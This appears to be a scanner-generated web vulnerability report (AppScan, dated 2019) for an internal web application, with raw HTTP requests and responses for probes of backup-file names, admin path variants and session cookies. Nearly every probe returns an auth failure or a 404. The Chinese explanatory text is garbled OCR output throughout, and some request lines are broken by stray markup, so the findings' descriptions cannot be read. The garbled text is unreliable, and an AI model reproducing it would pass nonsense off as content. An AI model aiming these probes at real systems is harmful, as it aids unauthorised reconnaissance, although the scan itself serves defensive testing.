AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/monitorspotadmin/spotAction!findAcceptInfos.page

£ /amOnline/app/monitorspotadmin/Copy%200£%20spotAction! findAcceptInfos.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/monitorspotadmin/Copy%200f%$20spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:06 GMT

Set-Cookie: JSESSIONID=4CC25200D0392225EEA134DA30E3F677; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/abnormity/admin/abnormityaction!jsonlist.page
Sz abnormityActionljsonList.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬁ&%ﬁ A&Eijiﬁigiﬂiff%§%U: /amOnline/app/abnormity/admin/abnormityAction!jsonList.page §§:

/amOnline/app/abnormity/admin/Copy%200f%20abnormityAction!jsonList.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/abnormity/admin/Copy%200f%20abnormityAction!jsonList.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:00 GMT

Set-Cookie: JSESSIONID=3E76B3E252C343B523B2C985F4F436BB; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/monitorspot/admin/stopAction!findStopInfos.page

£ /amOnline/app/monitorspot/admin/Copy%$200£%20stopAction! findStopInfos.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/monitorspot/admin/Copy%200£f%20stopAction!findStopInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:09 GMT

Set-Cookie: JSESSIONID=7BB3BF6BE379964E73AF17387D00EA75; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%%5%: ﬂﬁ%ﬁ Akgljiﬁigiﬂiff%§%U: /amOnline/app/monitorspot/admin/spotAction!findAcceptInfos.page

£ /amOnline/app/monitorspot/admin/Copy%$200£f%20spotAction! findAcceptInfos.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/monitorspot/admin/Copy%200£%20spotAction!findAcceptIinfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:08 GMT

Set-Cookie: JSESSIONID=DBBF120B0759E9E4F0AA43B43416B490; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/ApplLogin.page?loginError=auth failed",
"msg": " RS RESIE Y, HER R

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/monitorspotadmin/stopAction!findStopInfos.page

£ /amOnline/app/monitorspotadmin/Copy%200£%20stopAction! findStopInfos.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/monitorspotadmin/Copy%200f%$20stopAction!findStopInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:08 GMT

Set-Cookie: JSESSIONID=FF336C97EE9D66F66F187650E28107DA; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS

}
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W B SCHF 4%

fa i

Cvss 7+#t: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfoadmin/psinfollistpsinfo.page

Sz psinfollistPsInfo.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,
JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/psinfoadmin/psInfo!listPsInfo.page §§:

/amOnline/app/psinfoadmin/Copy%200f%20psInfo!listPsInfo.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&l

2019/6/24

GET /amOnline/app/psinfoadmin/Copy%200£%$20psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:03 GMT

Set-Cookie: JSESSIONID=D108678749C75FA3C2FAC8576E75C68A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}
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CVSS #1%: 5.0

URL: http://172.20.7.168:8083/amonline/app/onlinemonadmin/onlineaction!getpollutantswithpsid.page
Sz onlineAction!getPollutantsWithPsID.page (Page)

AR - FIRES T BRI B SCAR, 3K il S PR P32 8 SHL A 8 4 P 42 R ) 22 SR AR U 2,

JEA - FELE PR R BT I SCAF

I 5 - B2 RE AU, H s mb B8 T RS S A

Z5: B DU A BT H]
/amOnline/app/onlinemonadmin/onlineAction!getPollutantsWithPsID.page EH

/amOnline/app/onlinemonadmin/Copy%200f%20onlineAction!getPollutantsWithPsID.page

HEFE:  AppScan RIS AT REASE R HTFE I AA o o W RRA 9200 OK” . X s I BRI

THTER ISR
i R A -

GET /amOnline/app/onlinemonadmin/Copy%200f%20onlineAction!getPollutantsWithPsID.page?
psID=510101055565 HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:03 GMT

Set-Cookie: JSESSIONID=D1A60EESE6B554B96EOBCC6C33BDBFB3; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " A B R STECEW, EERE

}
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Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormityadmin/abnormityaction!jsonlist.page
Sk abnormityAction!jsonList.page (Page)
ARG - FIRE S N B A SO, X 2R BR84S HLAL v dn P P 44 R R 2 SR BURR S B
A FEAE P I8 o B R I S
I 5 - B2 RE AU, H s mb B8 T RS S A
%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/abnormityadmin/abnormityAction!jsonList.page §§:
/amOnline/app/abnormityadmin/Copy%200f%20abnormityAction!jsonList.page
HEX¥E:  AppScan iFK SO AT BEA R R BBk Bl 4y« M RLRAS 200 OK” o X Rl DR %
TP SR A SRR A2
TR R -

GET /amOnline/app/abnormityadmin/Copy%200f%20abnormityAction!jsonList.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie:

hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host:

172.20.7.168:8083

Connection: Keep-Alive

Pragma:

no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 04:01:00 GMT

Set-Cookie: JSESSIONID=CA11BF381B78A2EC0466F029E6AC9261; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " ST B S D, W RS

}

)@ 23

2019/6/24

/ 23

TOC

132



I B SCHF 4%

FeE

CVSS 4%: 5.0

URL:
otk

http://172.20.7.168:8083/amonline/app/psinfo/admin/psinfollistpsinfo.page
psinfollistPsiInfo.page (Page)

AR TR A S, X 2R N AR PP a8 A R At v n o 2 R 2 R BURME B
FEAE = A P B T I i S

B2 RE AU, H s mb B8 T RS S A

%Fﬁ": %ﬁ }‘)\U\_F{jﬁlﬁﬁfﬁfﬁu /amOnline/app/psinfo/admin/psInfo!listPsInfo.page %:

/amOnline/app/psinfo/admin/Copy%200£f%$20psInfo!listPsInfo.page

HEFE:  AppScan RSO AT REASE R HIFR FF AA 0 o IR 9200 OK” . X s I BRI

T TR SCAF A .

a7 R A -

7] 7t

2019/6/24

GET /amOnline/app/psinfo/admin/Copy%200£f%20psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; q=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 04:01:03 GMT

Set-Cookie: JSESSIONID=5698F38966AEFE013170C368F5373711; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " AR G R il It W, 1 RS

}
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Cvss 7+#t: 5.0

URL:
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http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page
psinfolview.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL
Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/psinfo/psInfo!view.page 5%:

/amOnline/app/psinfoadmin/psInfo!view.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/psinfoadmin/psInfo!view.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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URL:
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http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!history.page
onlineAction!history.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%Fﬁ": %ﬁ }‘)\ U\Tﬁﬁlﬁﬁﬁfﬁﬂ /amOnline/app/onlinemon/onlineAction!history.page E:

/amOnline/app/onlinemonadmin/onlineAction'!history.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/onlinemonadmin/onlineAction!history.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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Cvss 7+#t: 5.0

URL:
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http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!list.page
spotActionllist.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%Fﬁ": %ﬁ }‘)\IJ\_F{jEJ&ﬁt}§$U /amOnline/app/monitorspot/spotAction!list.page E:

/amOnline/app/monitorspotadmin/spotAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspotadmin/spotAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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Cvss 7+#t: 5.0

URL:
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http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!list.page
stopActionllist.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%Fﬁ": %ﬁ N\U\Tﬁﬁlﬁﬁﬁf*ﬁﬂ /amOnline/app/monitorspot/stopAction!list.page E:

/amOnline/app/monitorspotadmin/stopAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspotadmin/stopAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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URL:
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http://172.20.7.168:8083/amonline/app/revisedmanage/revisedaction!list.page
revisedActionllist.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%Fﬁ": %ﬁ }‘)\IJ\_F{jEJ&ﬁt}§$U /amOnline/app/revisedmanage/revisedAction!list.page @:

/amOnline/app/revisedmanageadmin/revisedAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/revisedmanageadmin/revisedAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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URL:
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http://172.20.7.168:8083/amonline/app/account/accountaction!list.page
accountActionllist.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/account/accountAction!list.page §§:

/amOnline/app/accountadmin/accountAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/accountadmin/accountAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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URL:
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http://172.20.7.168:8083/amonline/app/loginfo/loginfoaction!list.page
loginfoActionllist.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

%§5%= ﬂﬁ%ﬁ A&ELjiﬁigiﬂiff%§%U: /amOnline/app/loginfo/loginfoAction!list.page §§:

/amOnline/app/loginfoadmin/loginfoAction!list.page

HE#:  AppScan 11 K 130 AT REAZ B ITRE P IO B il 7o M RLRES 79200 OK” o X R Rl BRI R 2R

T TR SCAF A .

a7 R A -

7] /&t

2019/6/24

GET /amOnline/app/loginfoadmin/loginfoAction!list.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E07562F6D54977989F74AA54CCCO033DF

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 03:10:37 GMT

<html>
<head>

<title>404</title>

<link href="/amOnline/static/themes/exception.css" type="text/css" rel="stylesheet"/>
</head>

<body class="errorPageBg">

<div class="msgTitle">Z&REHiR</div>

<div class="msgDetail">

<p>fiRfY: 404</p>

<p>HIRMEE: BU R DIRE CAPR REAEAE 1 </p>
</div>

</body>

</html>
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URL:
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http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page
abnormityActionljsonList.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

#Z5: cookie T MIEREEZS:  57A6A5AE8E37C43B017578F75A282932

28 O RBRE: 2010-04-24

S8 CNERERZ:: 2019-06-24

Jiik MULR A B TS posT F:  cET

Tk WCLH AL E BT
search_alarmType=2&search_disposeType=1&pageNo=1&pageSize=15&showPageInfo=true&showPagelList=f
alse

ECE
ﬁﬁ%@ Eibkiﬁikﬁ%ig: application/x-www-form-urlencoded; charset=UTF-8
%&%ﬁ AkELWiﬁiﬁiﬁE?f%ﬁﬁﬂ: /amOnline/app/abnormity/abnormityAction!jsonList.page Eh

/amOnline/app/abnormityadmin/abnormityAction!jsonList.page

HEFE:  AppScan RIS AT REASE B HIFE P Ak o o MR J9°200 OK” . X s I BRI 2

T PEREISCAF RN
X5 R A 7 -
--begin highlight tag----end highlight tag--GET /amOnline/app/--end mark tag--

7] 7t

2019/6/24

abnormityadmin/abnormityAction!jsonlList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=1CE9604FF5F9D66D2D8C490D1BE9SDAC; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/ApplLogin.page?loginError=auth failed",
"msg": " RS RESIE Y, HER R

}
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URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
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A Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I 5 - H4IE 2 IR FR AN FH 218 B A

#5:  cookie CUNIERFREZ: | 57a6A5AESE37C43B017578F75A282932

28 CNERERZ:: 1561348464198
ﬁﬁﬁi Ak211:ﬁiiiﬁif?f§%ﬂ: /amOnline/app/psinfo/psInfo!listPsInfo.page ﬁi:

/amOnline/app/psinfoadmin/psInfo!listPsInfo.page

HE®E:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R 2

TSRS N2

a7 SR A -

7] /&t

2019/6/24

--begin_highlight tag----end highlight tag--GET /amO--end mark_tag--
nline/app/psinfoadmin/psInfo!listPsInfo.page?psid= HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

